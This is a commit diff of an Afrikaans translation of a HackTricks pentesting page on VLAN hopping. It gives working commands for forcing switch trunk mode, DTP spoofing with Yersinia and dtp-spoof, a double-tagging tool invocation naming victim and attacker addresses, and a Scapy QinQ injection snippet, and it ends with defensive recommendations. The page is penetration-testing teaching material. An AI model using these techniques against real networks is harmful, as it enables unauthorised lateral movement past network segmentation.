mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
71d42d20dd
commit
7c4aa905ee
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
As direkte toegang tot 'n skakelaar beskikbaar is, kan VLAN-segmentering omseil word. Dit behels die herkonfigurasie van die gekonnekteerde poort na trunk-modus, die vestiging van virtuele interfaces vir teiken VLANs, en die instelling van IP-adresse, hetsy dinamies (DHCP) of staties, afhangende van die scenario (**vir verdere besonderhede kyk [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
As direkte toegang tot 'n skakel beskikbaar is, kan VLAN-segmentering omseil word. Dit behels die herkonfigurasie van die gekonnekteerde poort na trunk-modus, die vestiging van virtuele interfaces vir teiken VLANs, en die instelling van IP-adresse, hetsy dinamies (DHCP) of staties, afhangende van die scenario (**vir verdere besonderhede kyk [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
|
||||
Aanvanklik is identifikasie van die spesifieke gekonnekteerde poort nodig. Dit kan tipies deur CDP-boodskappe gedoen word, of deur die poort te soek via die **include** masker.
|
||||
|
||||
@ -10,7 +10,7 @@ Aanvanklik is identifikasie van die spesifieke gekonnekteerde poort nodig. Dit k
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
Voorafgaand aan die oorgang na trunk-modus, moet 'n lys van bestaande VLANs saamgestel word, en hul identifiseerders bepaal. Hierdie identifiseerders word dan aan die interfase toegeken, wat toegang tot verskeie VLANs deur die trunk moontlik maak. Die poort wat gebruik word, is byvoorbeeld geassosieer met VLAN 10.
|
||||
Voor die oorgang na trunk-modus, moet 'n lys van bestaande VLANs saamgestel word, en hul identifiseerders bepaal. Hierdie identifiseerders word dan aan die koppelvlak toegeken, wat toegang tot verskeie VLANs deur die trunk moontlik maak. Die poort wat gebruik word, is byvoorbeeld geassosieer met VLAN 10.
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
@ -20,7 +20,7 @@ SW1(config)# interface GigabitEthernet 0/2
|
||||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||||
SW1(config-if)# switchport mode trunk
|
||||
```
|
||||
Die oorgang na trunk-modus sal tydelik konneksie onderbreek, maar dit kan daarna herstel word.
|
||||
Die oorgang na trunk-modus sal tydelik konneksie ontwrig, maar dit kan daarna herstel word.
|
||||
|
||||
Virtuele interfaces word dan geskep, VLAN-ID's toegeken en geaktiveer:
|
||||
```bash
|
||||
@ -44,12 +44,80 @@ Voorbeeld van handmatig 'n statiese IP-adres op 'n koppelvlak (VLAN 10) in te st
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
Verbondenheid word getoets deur ICMP versoeke na die standaard poorte vir VLANs 10, 20, 50, en 60 te begin.
|
||||
Verbondenheid word getoets deur ICMP versoeke na die standaard gateways vir VLANs 10, 20, 50, en 60 te begin.
|
||||
|
||||
Uiteindelik stel hierdie proses die omseiling van VLAN segmentasie in staat, wat onbeperkte toegang tot enige VLAN netwerk fasiliteer, en die grondslag vir daaropvolgende aksies stel.
|
||||
Uiteindelik stel hierdie proses die omseiling van VLAN-segmentasie in staat, wat onbeperkte toegang tot enige VLAN-netwerk fasiliteer, en die grondslag vir daaropvolgende aksies lê.
|
||||
|
||||
---
|
||||
|
||||
## Ander VLAN-Hopping Tegnieke (geen bevoorregte skakelaar CLI)
|
||||
|
||||
Die vorige metode neem aan dat daar geverifieerde konsole of Telnet/SSH toegang tot die skakelaar is. In werklike betrokkenhede is die aanvaller gewoonlik aan 'n **gewone toegangspoort** gekoppel. Die volgende Laag-2 truuks laat jou dikwels lateraal beweeg sonder om ooit in die skakelaar OS in te teken:
|
||||
|
||||
### 1. Skakelaar-Spoofing met Dynamiese Trunking Protokol (DTP)
|
||||
|
||||
Cisco-skakelaars wat DTP geaktiveer hou, sal gelukkig 'n trunk onderhandel as die maat beweer 'n skakelaar te wees. Om 'n enkele **DTP “desirable”** of **“trunk”** raam te skep, omskep die toegangspoort in 'n 802.1Q trunk wat *alle* toegelate VLANs dra.
|
||||
|
||||
*Yersinia* en verskeie PoCs outomatiseer die proses:
|
||||
```bash
|
||||
# Become a trunk using Yersinia (GUI)
|
||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
|
||||
# Python PoC (dtp-spoof)
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
Sodra die poort na trunk oorgeskakel word, kan jy 802.1Q sub-interfases skep en presies soos in die vorige afdeling getoon, pivot. Moderne Linux-kernels vereis nie meer *vconfig* nie; gebruik eerder *ip link*:
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||
sudo ip link set eth0.30 up
|
||||
```
|
||||
### 2. Dubbel-Tagging (Native-VLAN Misbruik)
|
||||
|
||||
As die aanvaller op die **native (onttag) VLAN** sit, kan 'n vervaardigde raam met *twee* 802.1Q koppe "spring" na 'n tweede VLAN selfs wanneer die poort in toegangmodus vergrendel is. Gereedskap soos **VLANPWN DoubleTagging.py** (2022-2024 opknapping) outomatiseer die inspuiting:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
--nativevlan 1 \
|
||||
--targetvlan 20 \
|
||||
--victim 10.10.20.24 \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
Packet walk-through:
|
||||
1. Buiteteg (1) word verwyder deur die eerste skakel omdat dit die inheemse VLAN ooreenstem.
|
||||
2. Binne-tag (20) is nou blootgestel; die raamwerk word na die trunk na VLAN 20 gestuur.
|
||||
|
||||
Die tegniek werk steeds in 2025 op netwerke wat die inheemse VLAN op die standaard laat en ongetagde rame aanvaar.
|
||||
|
||||
### 3. QinQ (802.1ad) Stacking
|
||||
|
||||
Baie ondernemingskerns ondersteun *Q-in-Q* diensverskaffer enkapsulasie. Waar toegelaat, kan 'n aanvaller willekeurige 802.1Q-getagde verkeer binne 'n verskaffer (S-tag) tonnel om sekuriteitsgebiede oor te steek. Vang vir 802.1ad ethertype 0x88a8 en probeer om die buiteteg met Scapy te pop.
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
inner = 30 # Customer / target VLAN
|
||||
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
|
||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||
sendp(frame, iface="eth0")
|
||||
```
|
||||
---
|
||||
|
||||
## Verdedigende Aanbevelings
|
||||
|
||||
1. Deaktiveer DTP op alle gebruikersfrontpoorte: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. Verander die inheemse VLAN op elke trunk na 'n **onbenutte, swartgat VLAN** en tag dit: `vlan dot1q tag native`.
|
||||
3. Snoei onnodige VLANs op trunks: `switchport trunk allowed vlan 10,20`.
|
||||
4. Handhaaf poortsekuriteit, DHCP snooping & dinamiese ARP-inspeksie om onwettige Laag-2 aktiwiteit te beperk.
|
||||
5. Verkies private-VLANs of L3 segmentasie eerder as om slegs op 802.1Q skeiding te vertrou.
|
||||
|
||||
---
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- VLANPWN aanval toolkit – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "Wat is VLAN Hopping?" (Aug 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user